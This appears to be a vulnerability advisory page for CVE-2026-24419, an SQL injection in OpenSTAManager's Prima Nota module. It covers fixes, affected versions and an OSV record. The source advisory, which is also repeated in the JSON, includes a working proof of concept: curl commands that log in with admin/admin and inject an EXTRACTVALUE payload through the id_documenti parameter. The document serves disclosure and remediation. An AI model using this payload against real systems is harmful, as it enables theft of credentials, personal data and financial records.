CVE-2026-24419: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-4j2x-jh4m-fqv6
CWE-89
Published
Advisory Summary

CVE-2026-24419 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a sql injection in the prima nota module. Remediation is available in the latest vendor maintenance releases.

CVE-2026-24419 at a Glance

CVE Identifier CVE-2026-24419
GHSA Identifier GHSA-4j2x-jh4m-fqv6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-24419

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24419, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameters:** `id_documenti` (GET parameters) **Affected Endpoint:** `/modules/primanota/add.php` **Attack Type:** Error-Based SQL Injection (IN clause) ### Details OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages. **Vulnerability Chain:** 1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67) ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; ``` **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers. 2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306) ```php $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica']; ``` **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. **Root Cause Analysis:** The vulnerability exists because: 1. `get('id_documenti')` return user-controlled strings 2. `explode(',', (string) $value)` splits by comma but doesn't validate types 3. `implode(',', $array)` concatenates array elements directly into SQL 4. No validation ensures array elements are integers 5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23` **Affected Code Path:** ``` GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD ↓ add.php:63 - $id_documenti = get('id_documenti') ↓ add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION] ↓ add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT] ``` ### PoC **Step 1: Login** ```bash curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Error-Based SQL Injection)** **Test 1: Extract Database User and Version** ```bash curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23" ``` **Response (error message visible to attacker):** ```html <code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code> ``` <img width="1231" height="405" alt="image" src="https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64" /> ### Impact All authenticated users with access to the Prima Nota (Journal Entry) module. ### Recommended Fix **Primary Fix - Type Validation:** File: `/modules/primanota/add.php` **BEFORE (Vulnerable - Lines 63-67):** ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; ``` **AFTER (Fixed):** ```php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; // Validate that all array elements are integers $id_documenti = array_map('intval', $id_documenti); $id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs ``` ### Credits Discovered by Łukasz Rybak

CVE-2026-24419 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2026-24419?
CVE-2026-24419 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a SQL Injection in the Prima Nota module under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-24419?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-24419?
CVE-2026-24419 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-24419?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4j2x-jh4m-fqv6",
  "modified" : "2026-02-10T01:17:32Z",
  "published" : "2026-02-06T18:25:55Z",
  "aliases" : [ "CVE-2026-24419" ],
  "summary" : "OpenSTAManager has a SQL Injection in the Prima Nota  module ",
  "details" : "### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameters:** `id_documenti` (GET parameters)\n**Affected Endpoint:** `/modules/primanota/add.php`\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)\n   ```php\n   $id_documenti = $id_documenti ?: get('id_documenti');\n   $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n   ```\n   **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers.\n\n2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)\n   ```php\n   $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];\n   ```\n   **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. \n\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `get('id_documenti')`  return user-controlled strings\n2. `explode(',', (string) $value)` splits by comma but doesn't validate types\n3. `implode(',', $array)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`\n\n**Affected Code Path:**\n```\nGET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD\n  ↓\nadd.php:63 - $id_documenti = get('id_documenti')\n  ↓\nadd.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]\n  ↓\nadd.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]\n```\n\n### PoC\n\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b /tmp/cookies.txt \"http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23\"\n```\n\n**Response (error message visible to attacker):**\n```html\n<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code>\n```\n<img width=\"1231\" height=\"405\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64\" />\n\n\n### Impact\n\nAll authenticated users with access to the Prima Nota (Journal Entry) module.\n\n\n### Recommended Fix\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/primanota/add.php`\n\n**BEFORE (Vulnerable - Lines 63-67):**\n```php\n$id_documenti = $id_documenti ?: get('id_documenti');\n$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n```\n\n**AFTER (Fixed):**\n```php\n$id_documenti = $id_documenti ?: get('id_documenti');\n$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n// Validate that all array elements are integers\n$id_documenti = array_map('intval', $id_documenti);\n$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs\n```\n\n### Credits\nDiscovered by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24419"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T18:25:55Z",
    "nvd_published_at" : "2026-02-06T18:15:58Z"
  }
}